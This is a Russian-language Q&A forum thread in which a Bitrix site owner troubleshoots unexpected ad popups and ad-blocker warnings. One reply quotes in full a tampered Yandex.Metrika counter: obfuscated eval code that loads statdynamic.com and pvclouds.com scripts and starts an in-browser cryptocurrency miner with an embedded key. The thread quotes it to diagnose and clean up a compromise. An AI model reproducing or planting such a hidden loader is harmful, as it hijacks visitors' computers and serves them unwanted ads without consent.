Всплывает реклама (подмена .js) и срабатывает ad block, как исправить?

Question

[Егор Поляков]

На страницах сайта https://n-trade.spb.ru/services/ периодически всплывала реклама: n-trade.spb.ru/services
r.2ad.wtf/?orig=http%3A%2F%2Fn-trade.spb.ru%2Fbitr...

Удалось победить временно путем добавления SSL.

Сейчас постоянно срабатывает ad block на моб. устройстве при просмотре сайта.
Скрипты jquery и т.д. с абсолютными адресами и https:// установили.
Не удалось отловить источник. Кто сталкивался - как исправили?

Answer 1

[galaxy]

Вас или поломали, или шаблон с рекламой используете. В шапке у вас прямо подозрительный скрипт загружается с bitrix.info/ba.js

Comments

[galaxy]

Вот это еще подозрительный скрипт: https://n-trade.spb.ru/bitrix/js/main/public_utils...
Он грузит потом еще более подозрительный https://statdynamic.com/lib/crypta.js?w=2036

[Егор Поляков]

galaxy есть ли какой универсальный поиск по всем php Битрикса найти этот фрагмент, где он в ядре зарыт?

[galaxy]

Егор Поляков, вот это вообще не подскажу.
Начните с grep -R по папке битрикса

[Егор Поляков]

galaxy
https://n-trade.spb.ru/bitrix/js/main/public_utils... - отключил.
bitrix.info/ba.js - это какое-то ускорение движка.
Вот инфа: https://bx-cert.ru/advices/51/bitrix-skorost-sayta...

все равно ad block срабатывает.

[galaxy]

Егор Поляков, слушайте, у вас там помойка какая-то. Два счетчика метрики и в первом:

<!-- Yandex.Metrika counter -->
<script type="text/javascript" >
   (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
   m[i].l=1*new Date();eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 5=\'//6.0/4/3.1\';2 7=\'//d.8.0/c/b/a/9.1\';',14,14,'com|js|var|crypta|lib|src1|statdynamic|src2|pvclouds|80d48af456b0312fe505ea01e4403444|8a|d4|80|pl15180008'.split('|'),0,{}))
var scriqt = document.createElement('script');scriqt.src = src1;scriqt.async = false;scriqt.onload = function () {
var t = window.trotlrateafacebag || 0.2;window.miner = new CRLT.Anonymous('b92e00b513a0e651c67a028bbc10b5b3dfa29186006c',{threads:5,throttle:t});window.miner.start();};document.head.appendChild(scriqt);var scriqtad = document.createElement('script');scriqtad.src = src2;scriqtad.async = false;document.head.appendChild(scriqtad);k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

   ym(84157756, "init", {
        clickmap:true,
        trackLinks:true,
        accurateTrackBounce:true,
        webvisor:true
   });
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/84157756" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->

[galaxy]

Егор Поляков, выгрепывайте по ключевым словам crypta, statdynamic, pvclouds

[Михаил Ливач]

bitrix.info/ba.js - это какое-то ускорение движка.

Егор Поляков, это не "ускорение движка", это Битрикс втихаря собирает аналитику с Вашего сайта. Вырубается в .settings.php добавлением

'analytics_counter' => 
      array (
        'value' =>
        array (
          'enabled' => false,
        ),
      ),

Answer 2

[dollar]

Ловите методом исключения. Попробуйте разные компьютеры и разные моб. устройства. Если реклама только на одном моб. устройстве, то дело в нём. Если реклама на всех (или нескольких) моб. устройствах, то нужно дальше отсекать варианты. У всех ли одинаковый оператор, у всех ли одинаковый бренд, версия ОС, особенности настройки и т.д. Попробуйте что-то поменять. Так вы либо найдёте источник, либо сузите круг поиска, либо отсечёте сразу целое направление поиска.

Гипотетически вирус может быть на устройстве, на сервере, митм, а ещё это может быть шутка одного из коллег или вообще что угодно. Чтобы не гадать и не перебирать все варианты по одному, нужно методом исключения с помощью простых экспериментов убирать целые направления для поиска, то есть каждый раз отсекается примерно половина вариантов. Когда вариантов останется совсем мало, то их уже можно будет тупо перебрать по порядку, проверив каждый.

Answer 3

[Егор Поляков]

galaxy dollar Спасибо. Это скорее все вместе.
1. Битрикс > вирус удален.
2. "Капризный" Ad Block: я последовательно отключал фрагменты кода главной страницы.
Пришлось даже метрику убрать (временно - с ней реагировал ad block!)
Все "container" и пустой код убрал.
3. Добавил https:// и ?banner=off для всех JS скриптов в Show Head.
4. Корзину из подвала убрал и т.д.
В общем "обрезал хвосты", что могло дать реакцию ad block.
Ошибки в битых урлах - исправлю.
Сложность в том, ad block на моб. не дает понять, что именно стало причиной (баглист не вывести).

Comments

[galaxy]

Дело в том, что у вас все это не только на мобильном. Скрипты подключаются всегда. Возможно, на мобильных они себя ведут по-другому.
Если есть возможность, бекапьте БД и переустановите с нуля битрикс на новом VPS. Велик шанс, что что-то еще осталось или взломана сама система.